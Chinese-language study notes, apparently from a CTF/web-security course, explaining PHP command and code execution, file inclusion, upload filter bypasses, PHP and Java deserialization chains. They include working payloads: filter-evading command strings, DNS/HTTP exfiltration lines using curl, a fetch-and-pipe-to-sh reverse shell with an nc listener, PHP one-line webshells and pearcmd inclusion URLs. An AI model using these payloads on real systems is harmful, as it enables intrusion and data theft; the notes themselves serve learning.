一些小笔记
#第一课
##认识漏洞
###约定
poc:漏洞演示,一般不具有攻击性,仅仅证明漏洞存在
exp:漏洞利用脚本、工具,具有攻击性,可以直接进行漏洞利用,执行命令或者读取文件
脚本:利用漏洞需要执行的本地’程序’,方便漏洞利用者替代重复手工操作
###漏洞的产生原因
- 设计缺陷
- 逻辑错误
- 代码 bug
- 越权漏洞
- 其他漏洞
###漏洞的利用方式
- 失能
- 服务宕机
- 读取
- 读敏感文件
- 读数据库信息
- 写入
- 篡改数据
- 提权
- 加密硬盘
- 执行
- 执行命令
- 内网渗透
- 反渗 shell
###漏洞利用之信息泄露
- 版本软件信息泄露:git svn hg bzr CSV
- 敏感文件信息泄露:robots.txt www.zip 静态文件注释泄露
- 配置错误信息泄露:DS_Store WEB-INF Apache/Nginx 错误配置
###信息泄露漏洞利用
- http 头信息泄露
- 报错信息泄露
- 页面信息泄露
- robots.txt 敏感文件泄露
- .git 文件泄露
- 搜索引擎收录泄露
- fofa 资产搜索
#第二课
##php remote command execute(远程命令执行):
&& 前后两个命令是并列执行 短路
|| 前后两个命令有一个执行成功就可以
; 独立的两条命令执行
eg:对于 system($cmd, “ > dev/null 2 >&1 “); 无回显
cmd = tac flag.php%26%26whoami
使前一句有回显
###1.黑名单过滤:
替换过滤:若将关键词替换为空 则双写绕过
eg:cat -> ccatat 过滤后: cat
但是若关键词替换不为空 则会发生执行错误
过滤特定字符串:可以使用通配符绕过 *: 匹配任意字符 ?匹配单个字符
eg:flag.php -> fla* or fl?g.php
eg:对于 if (! preg_match(“/flag|&|;/i”, &cmd)) system($cmd, “ > dev/null 2 >&1 “);
?cmd = tac fla?.php||ls 即可绕过
eg:对于 if (! preg_match(“/flag|&|;|cat|tac|nl|more|od/i”, &cmd)) system($cmd, “ > dev/null 2 >&1 “);
?cmd = `echo ‘dGFjlGZsYWcucGhw’|base64 -d`|ls
eg:对于不对分号过滤
?cmd = a = c; b = at; c = fla; d = g.php; $a.$ b ${c}.${d}
等效于 cat flag.php
###2.符号过滤:
- 过滤空格情况:
- <> 代替空格
- ${INF} $ INF$9 代替空格 bash 下可以使用{cmd, args}代替空格
- %09 %0b %0c 控制字符代替空格
- 字符串截取空格 (可以从 env 环境变量中找)
#第三课
##php remote code execute(远程代码执行)
tools:中国蚁剑
插件:disable_function suid 提权文件
蚁剑转接头 将 get 输入转成 post 输入 ?1=assert($_POST[1])
无字母数字 rce:
解决方法:通过异或运算绕过 用其他字符异或成字母数字实现 rce
无回显情况下的 rce:(函数 shell_exec 与 system 相比没有回显结果)
- 通道
- 数据传输路径
解决方法:
1.写入文件 二次返回 eg:?cmd = cat fl?g.php > 1.txt(再 rm 1.txt 删除痕迹)
2.dns 信道 网站:https://dnslog.com
eg1:/?cmd = ping -c 1 `whoami`.[dns 二级域名]
eg2:/?cmd = a =`sed -n “3,4p” fl?g.php|base64`; curl ${a: 0:10}.[dns 二级域名] (若遇到 url 无法解析字符 则 base64 转码)
3.http 信道 网站:https://requestrepo.com
eg:/?cmd = curl [get 请求域名]/?1 =`ls|base64`
4.反弹 shell 信道 需要公网 IP 反弹 shell: nc 连接 (网站:https://your-shell.com)
eg:/?cmd = curl https://your-shell.com/yourip: 1337 |sh
服务器端:nc -lvvnp 3389
5.延时 sleep 3
#第四课
文件包含的本质:
- 将文件中代码填充进目标文件中
文件包含作用:
- 代码复用
- 并行开发
- 模块化
- 增加移植性
include 和 eval 的区别:
- include 和 eval 一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用
- include 后面跟一个路径,表示要执行的 php 文件的路径 读取路径中文件的内容后,然后执行里面的 php 代码
- eval 后面跟 php 的代码,表示要执行的 php 代码
php 常见文件包含函数、语言结构
- include 仅仅是包含这个文件,如果没包含好,继续执行后面代码
- require 必须包含好这个文件,如果没包含好,就报错
- include_once 包含一次,遇到错误继续执行
- require_once 成功包含一次,遇到错误就停止
文件包含漏洞:通过文件包含时,包含的内容受用户可控
php 伪协议:
1.什么是协议:
- 网络层:IP、ICMP、ARP、IGMP
- 应用层:http、https、ftp、ssh
- gopher 协议、qq 拉起协议、百度网盘拉起协议……
2.协议的格式: 协议头://内容
3.php 中的协议:
file 协议:不写协议名字,就默认认为是 file 协议
上层目录特性:
1.每个目录都有上层目录
2.根目录的上层目录是根目录本身
php 目录整理:
eg:/var/www/html/ctf/../flag.php => /var/www/html/flag.php
http 协议:配合文件包含,可以读取远程的 php 代码并在本地执行,实现了最终 RCE 的效果
ftp 协议:默认 21 端口,进行文件传输的协议
php 协议:
- php://input eg:</?php system(“calc”)/?>
- php://filter
data 协议: eg:?file = data:, </?php phpinfo();/?>
phar 协议:
php 文件上传机制:
上传文件临时存放在 /tmp/phpxxxxxx (x 为数字或大小写字母)
. /???/??????[@-[] 匹配临时文件并执行
1 | <form action="Your-target-url" enctype="multipart/form-data" method="post"> |
#第五课
##文件包含
- 一 文件名可控
$file = $_GET [‘file’]
include $file.”.php “; 用 php 伪协议,可以使用 data 协议
- 二 文件后缀可控
$file = $_GET [‘file’]
include “/var/www/html/“.$file; 不能使用伪协议
可用目录跳转 eg. /var/www/html/../../../../../../flag
##高级文件包含
- 一 nginx 日志包含
nginx 可以认为它是 http 的一个服务器软件,提供了 http 服务,默认监听 80 端口
若 http://localhost/123.php?a = b 123.php 后缀是否是.php 是则转发到本地的 127.0.0.1 的 9000 端口
ps:9000 端口:是被另一个服务端软件监听,它提供解析 php,我们把这个软件叫做 php.fpm,专门解析 php 后缀文件,执行里面代码,将执行结果交给 nginx,再由 nginx 返回给 http 的客户端,这个客户端就是浏览器
若 http://localhost/123.jpg?a = b 123.jpg 非 php 后缀,那么由自己处理,nginx 会找到 web 目录,读取 123.jpg 的内容,并返回浏览器,同时告诉浏览器,我返回的文件内容是一个 jpg 图片,你按照图片模式进行渲染
nginx 会将 http 记录到日志中,可在 UA(User-Agent)中加入 php 代码,执行包含 rce, url 中插入恶意代码会被 url 编码
Linux 下默认 nginx 日志路径:/var/log/nginx/access.log
一句话木马: </?php eval($_POST[1]);/?>
日志包含的前提条件:
1.有文件后缀可控的文件包含点
2.有可以访问到的日志路径
- 二 临时文件包含(phpinfo_lfi)
*文件包含不支持通配符
需要明确的得到这个临时目录下 php 开头的随机文件名字全称
默认情况下,生命周期与 php 脚本一致,即脚本运行结束,临时文件也消失
突破点:
1.在 php 脚本运行过程中,包含临时文件
2.在脚本呢运行过程中,得到完整的临时文件名称
php 配置文件中,默认每次向浏览器发送内容时,不是一个字符一个字符地发送,而是一块内容一块内容发送的(4096 个字符)
假设我们能够访问 phpinfo 的结果 FILES 就会存在 tmp_name 临时文件名字,读取后可以成功包含
- 三 php 的 session 文件包含,upload_progress 文件包含
1 | <form action="Your-target-url" enctype="multipart/form-data" method="post"> |
强制文件上传时,通过上传一个固定的表单 PHP_SESSION_UPLOAD_PROGRESS,可以往服务器的 session 文件内写入我们的指定内容
然后在脚本运行过程中,包含后,可以执行里面的 php 代码
- 四 pear 文件包含
条件:
1.有文件包含点
2.开启了 pear 扩展
3.配置文件中 register_argc_argv 设置为 On,默认为 Off
PEAR 扩展: PHP Extension and Application Repository
默认安装位置(Linux): /usr/local/lib/php/
利用 Pear 扩展进行文件包含
方法一: 远程文件下载
1 |
|
方法二: 生成配置文件,配置项传入我们恶意的 php 代码
1 | Your-target-url/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/payload.php+-d+man_dir=<?eval($_POST[1]);?>+-s+ |
方法三: 写配置文件方式
1 | Your-target-url/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php |
利用 pearcmd.php 本地文件包含(LFI)-CSDN 博客
- 五 远程文件包含
1 | <?php |
使用 在线 ip 转 int, ip 转数字-BeJSON.com 将 ipv4 地址转换成整数绕过
#第六课
##php 的文件上传
/tmp/php?????? (字母+数字)
1.php 的文件上传绕过 黑名单绕过
后缀替换为空时,我们通过提交 1.pphphp 替换 php 为空后,得到 1.php 成功写入木马
可以尝试上传 php3 php5 phps phtml
php 后缀替换为 txt 时,我们无法双写绕过
2.php 文件上传的 00 截断
123.php 明显不让直接上传
123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀 jpg 看起来是合法的文件名称
./upload/123.php%00.jpg -> ./upload/123.php
00 字符截断需要的版本:
php 版本小于 5.3.4 java 版本小于 7u40 或 可能的最新版本
3.iconv 字符转换异常后造成了字符截断
php 在文件上传场景下的文件名字符集转换时,可能出现截断问题
utf-8 字符集,默认的字符编码范围是 0x00-0x7f
iconv 转换的字符不在上面这个范围之内,低版本的 php 会报异常,报了异常以后,后续字符不再处理,就会造成截断问题
123.php%df.jpg -> 123.php
php 版本低于 5.4 才可以使用
4.文件后缀是白名单的时候的绕过
白名单:只准上传这几个后缀 因为匹配的内容少,所以限制的范围大
黑名单:不转上传这几个后缀 因为匹配的内容多,所以限制的范围小,仅限于自己制定的几个,除了这几个,其他都行
1) web 服务器的解析漏洞绕过
apache a.多后缀解析漏洞 当我们上传 apache 不认识的后缀时,apache 会继续往前找后缀,找到认识的就解析
123.txt.ctfshow -> 123.txt 文本文档形式解析
123.php.ctfshow -> 123.php 就交给中间件处理 php 脚本
b. ImageMagic 组件白名单绕过
目标主机安装了这个漏洞版本的 ImageMagic 插件 <= 3.3.0 并且 在 php.ini 中启用了这个插件
通过了 php new ImageMagic 对象的方式处理图片时 且 php 版本的大于 5.4 时
才可以使用上传特定的 svg 图片,来实现组件的缺陷导致任意代码执行
nginx 基于错误的 nginx 配置 和 php.fmp 配置,当我们访问 123.txt/123.php
cgi.fix_pathinfo 参数默认开启 当 123.php 不存在时,会找/前面的文件进行 php 解析,这时候就成功解析了 123.txt 为 php 脚本了
iis Windows 下使用 iis6.0 版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件都会按照 asp 来解析 WindowsXP windows Server 2003
##高级文件绕过
- .htaccess nginx.htaccess
php.ini
虚拟主机时代,一个物理服务器,里面可能存放几十上百个网站 每个网站一个目录
A 网站 需要这样的 php.ini 配置
B 网站 却需要那样的 php.ini 配置
C 网站 有需要另外的 php.ini 配置
于是,总的 php.ini 不动,A B C 3 个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录
自定义配置文件 .htaccess nginx.htaccess
在 nginx 下默认使用.user.ini 配置文件来进行 php 的配置
使用 auto_append_file = 123.txt 来让任意的 php 文件包含 123.txt,执行里面的 php 代码
- 服务器内容检测
不局限检测文件名,还会检测文件的后缀、文件的内容
<?php system eval $_POST
二分法确定出被检测的关键字,使用替代语法绕过
- 配合伪协议绕过
.user.ini : auto_append_file = php://input 然后直接 post 实现 rce
配合日志包含绕过
上传 html 来 xss 执行跨站脚本
getimagesize 函数绕过
getimagesize 函数来检测是不是函数,而不采用其他措施的情况下,如果一旦绕过 getimagesize 函数,就可以实现任意文件上传
XBM 格式图片
当读到 #define %s %d 这种形式,就认为 XBM 图片的高或者宽
1 | .user.ini |
- png 二次渲染绕过
正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去
二次渲染做法:通过 imagepng 方法,来动态依据我们上传的图片的二次生成一个 png 图片 里面的 php 代码就会被清洗掉
所以,我们需要使用特殊的方法,来构造我们的图片
使用脚本 png_creater.php 生成恶意图片
- jpg 二次渲染绕过
使用专用图来生成 jpg 木马,事先经过二次渲染后,我们的恶意代码依旧能够保留在图片中,通过文件包含,执行里面的 php 代码
- phar 文件上传绕过
将 php.ini 中 readonly 注释去掉改成 off
windows 下生成的 phar 包可能在 Linux 下不兼容
1 | phar_exp.php |
#第七课
sql 是一门语言,通过 sql 语句可以快速实现数据的增删改查
CURD 就是指对数据的增删改查(Create、Update、Read、Delete)
1 | select * from user; |
数据库:
关系型数据库: 把所有的数据变为表格存放
- Oracle
- Mysql/MariaDB
- SQLServer
- Access 所有数据集合在 mdb 文件
- Sqlite 所有数据集合在一个文件中
非关系型数据库(nosql 数据库): 用于 sns 社交软件 web2.0 (如微博、微信…) 所有内容由用户产生,并由用户消费
- Membase
- MongoDB
以Mysql/Mariadb 为主
#第八课
##反序列化笔记
类与对象
1 | //用户类 |
类和对象的关系,类似于 设计图(蓝图) 与 生成出的产品 之间的关系
属性的权限,可以分为:
1 public 权限 外部可以通过箭头访问到
2 private 权限 内部通过 $this->username 访问到
3 protected 权限 表示 自身及其子类和父类 能够访问
1 | class normalUser extends user{ |
类的属性修饰符
public、private、protected
修饰:
静态属性 static
1.不可修改
2.类的静态方法,可直接调用 class::function();
final属性 子类无法重写父类方法
类的分类
1.普通类 没有任何修饰
2.抽象类
1 | class user{ |
3.接口
1 | interface service{ |
4.trait
1 | //用于普遍操作,比如 文件读取 删除 IO操作 或者其他可以抽象出来的共同操作 |
5.匿名类
1 | class user{ |
序列化与反序列化
如果属性权限为private,那么序列化后,存储的属性名字为 %00 + 类名 + %00 + 属性名
如果属性权限为protected,那么序列化后,存储的属性名字为 %00 + * + %00 + 属性名
序列化是将一个对象变成一个可以传输的字符串 serialize(对象) 返回反序列化后字符串
反序列化就是将一个可以传输的字符串变成一个可以调用的对象 unserialize(反序列化字符串) 返回对象
接口没有实例化对象 因此不能直接序列化
匿名类不能序列化
trait无法实例化 因此也不能序列化
魔术方法
1.魔术方法是一类类的方法
2.会在序列化和反序列化及其他特殊情况下,自动执行
分类
1.__construct 在实例化一个对象(new)时,会被自动调用
不允许重复声明
可以作为非public权限属性的初始化
2.__sleep 和 __wakeup方法
序列化时自动调用__sleep方法
3.__destruct 方法
类对象将要销毁,也就是脚本执行完毕后执行清理工作时自动执行
可以通过system(‘taskkill /fi “imagename eq php.exe” /f’);删除进程(php.exe/php-cgi.exe)绕过__destruct
4.__call 和 __callstatic
对象执行类不存在的方法的时候,会自动调用__call方法
直接执行类的不存在的静态方法时,会自动调用__callstatic方法
5.get 和 set 和 isset unset魔术方法
__get 对不可访问属性或不存在属性进行访问引用时自动调用
__set 对不可访问属性或不存在属性进行写入引用时自动调用
__isset 对不可访问属性或不存在属性进行isset()操作时自动调用
__unset 对不可访问属性或不存在属性进行unset()时自动调用
6.__tostring
类的实例 和 字符串 进行拼接或者作为字符串引用(例如传入函数时被作为字符串)时,会自动调用__tostring方法
7.__invoke
当类的实例被作为函数名字执行的时候,会自动调用__invoke方法
8.__set_state($an_array)
文档中说 执行var_export()时自动调用
9.__debugInfo
执行var_dump()时自动调用
10.__clone方法
当使用clone关键字,clone一个对象的时候会自动调用
php的反序列化漏洞
1.有反序列化提交的入口
2.被反序列化的类的魔术方法,有可能被利用
绕过__wakeup方法
条件:
- php5至php5.6.25 之间的版本可以绕过
- php7至php7.0.10 之间的版本可以绕过
绕过方法:
1.反序列化字符串中表示属性数量的值 大于 大括号内实际属性的数量时,wakeup方法会被绕过
2.绕过 +号正则匹配
参数有过滤,不让输入 O:数字 的形式 试图防止反序列化某个对象
O:数字 改为 O:+数组 就可以绕过上面的O:数字过滤
3.引用绕过相等
使用&符号表示两个变量指向相同的内存引用地址
4.16进制绕过
反序列化后的字符串,不能出现某个关键单词时,可以使用大S绕过
O:8:”backdoor”:1:{s:4:”name”;s:10:”phpinfo();”;} —>
O:8:”backdoor”:1:{S:4:”n\97me”;s:10:”phpinfo();”;}
5.exception绕过
不影响析构方法执行
6.php反序列化字符逃逸
1.可以控制某个类中的属性值
2.间接控制了某个类的反序列化字符串
3.由于存在无脑过滤,字符增减,造成描述中字符串的长度和实际的不一样
4.从而能够逃逸出若干个字符,实现字符可控,从而闭合前面的双引号
5.实现反序列化字符串的完全可控
#第九课
phar反序列化
The phar extension provides a way to put entire PHP applications into a single file called a “phar” (PHP Archive) for easy distribution and installation
Phar 认为是java的jar包 / exe
phar能干什么:
1.多个php合并为独立压缩包 不解压就能执行里面的php文件
2.支持web服务器和命令行
phar协议:
phar://xxx.phar/aaa.php
$phar->setmetadata($h);
metaData可以存放一个类实例,生成phar后,会将这个类实例以序列化字符串形式存放在phar文件内,当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
1 | *php.ini |
总结:
- 生成phar包时,可以往metadata里面放对象
- 生成后,对象会自动序列化保存到phar包中
- 使用phar协议读取phar包时,如果当前脚本识别了这个类,则会自动调用这个类的魔术方法
哪里使用的多
如果有上传点,上传文件的前半部分可控,后缀黑名单,不能是危险的后缀(eg:php phps phtml ini) 没有禁止上传phar文件
能够上传phar文件,找到大量使用file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包
就能自动进行反序列化
条件:
- 能够生成phar包并上传写入
- 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
- 有可以利用的恶意类
session反序列化
PHP_SESSION_UPLOAD_PROGRESS
php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID
session中是可以存放字符串、数字,也可以存放对象
session中php处理器格式: key|serialize_string (u|O:4:”user”:2:{s:8:”username”;N;s:8:”password”;N;})
php_serialize处理器格式a:1:{s:1:key;serialize_string} (a:1:{s:1:”u”;O:4:”user”:2:{s:8:”username”;N;s:8:”password”;N;}})
1.session里面存放对象时,会自动进行序列化,存放序列化后的字符
2.session里面拿取对象时,会自动进行反序列化,执行对象的魔法方法
1 | s = requests.session() |
thinkphp的反序列化
php的开发框架
一句话总结: 框架是为开发服务,不是面向产品
php框架的设计思路:
MVC结构的设计框架
(python java 都有基于MVC设计思路提供的框架)
MVC设计思路->基于MVC的框架->基于框架的产品
M: model 模型: 只负责处理数据交互 数据输入,经过处理,返回处理后的数据,不在乎 数据哪里来的,也不在乎数据去哪里
V: view 视图: 负责向控制器发送数据,经过控制器派发处理后,将数据回显在页面中
C: controller 控制器: 只负责分发请求
example:
菜鸟包裹 -> 前台负责分发任务
快递员只负责接受,发送包裹,其他一律不管,可以认为他就是view 显示层
包裹前台 认为是控制器,负责派件和收件的人员安排
包裹就是model
每个层都独立了,解耦
MVC在web中的应用:
1.所有的请求都统一入口 index.php
2.通过不同的参数,表达不同的需求,由index.php作为控制器,统一分发处理
3.分发给Model处理完毕后,结果返回给Index控制器
4.Index控制器得到结果,返回给页面
特点:
1.从基于文件的url 转为 基于路由的url 从关注访问哪个文件 转向 关注url中的参数
2.使用统一的view视图,返回的数据就是要显示的数据
3.控制器和视图与用户有关联,模型相对于用户透明
第10课 01:01:11
pop链
#第15课
java基础
java是一门编程语言
纯粹的面向对象
基于类和类的方法
所有的类都存放在包 package中
java的web基于servlet (基于路由)
java的反序列化:
序列化 类实例->字节流
反序列化 字节流->类实例
序列化 会自动调用writeObject方法
反序列化 会自动调用readObject方法
类要能序列化需要满足的条件:
- 实现java.io.Serializable接口
- 该类的所有属性必须都是可序列化的,如果有一个属性是不可序列化的,那么这个属性必须注明是短暂的
反序列化漏洞利用条件:
- 有反序列化接口,能够提交序列化的数据,会自动调用对应类的readObject方法
- 有可以利用的类 readObject/readUnshared通过跳板,最终可以实现写入或者执行
当不允许反序列化漏洞的类,可以反序列化子类,也可以反序列化父类
java反序列化总结:
- 需要有一个提交反序列化字节流的地方
- 有可以被利用的类,存在readObject方法
- 类反序列化后,类实例已不再关注,我们重点是执行了readObject方法
URLDNS链
一句话总结: 不需要其他依赖,原生java库,支持反序列化后触发一次dns请求
HashMap
存放键值对的集合
为了验证键有没有重复,会对键进行取哈希值操作
hashCode 相同,就认为集合里面有这个键了,为了避免一个键对应多个值,所以会覆盖
URLDNS链:
利用两个类: HashMap 和 URL 类
HashMap存在readObject方法,里面调用了hash方法,处理自己的key
hash方法,调用了key的hashCode方法
当我们传入的key是URL对象的时候,就会调用URL对象的的hashCode方法
URL类的hashCode方法,只要自己的hashCode不是-1,就会调用自己handler属性的hashCode方法
handler是URLStreamHandler类,他的hashCode方法
调用了getHostAddress方法
调用了URL类的getHostAddress方法
最终调用了 InetAddress.getByName(host);实现了一次DNS请求
利用点:
- 验证反序列化漏洞存在,适合poc用
- 判断对方服务器是否出网
#第16课
CC链 (就是有反序列化入口,同时有cc库的情况下,如果进行rce或者文件读取)
CC库: Commons Collections apache组织发布的开源库
里面主要是对集合的增强以及扩展类,被广泛使用
HashMap HashTable ArrayList 都是集合
CC链学习前置知识
Transformer
特征:
- 是一个接口
- 有一个transformer方法,传入一个参数object,传出一个参数object
- 有点像 转接头 扩展坞
实现类:
ConstantTransformer 常量转换器: 传入任何值,传出的都是固定值
InvokerTransformer 反射调用转换器: 传入方法名,方法参数类型,方法参数,进行反射调用
ChainedTransformer 链式转换器: 分别调用传入的transformer类数组的transformer方法
新的数据结构
TransformerMap 分别可以对 key 和 value 执行构造参数里面的transformer转换
更新 ing……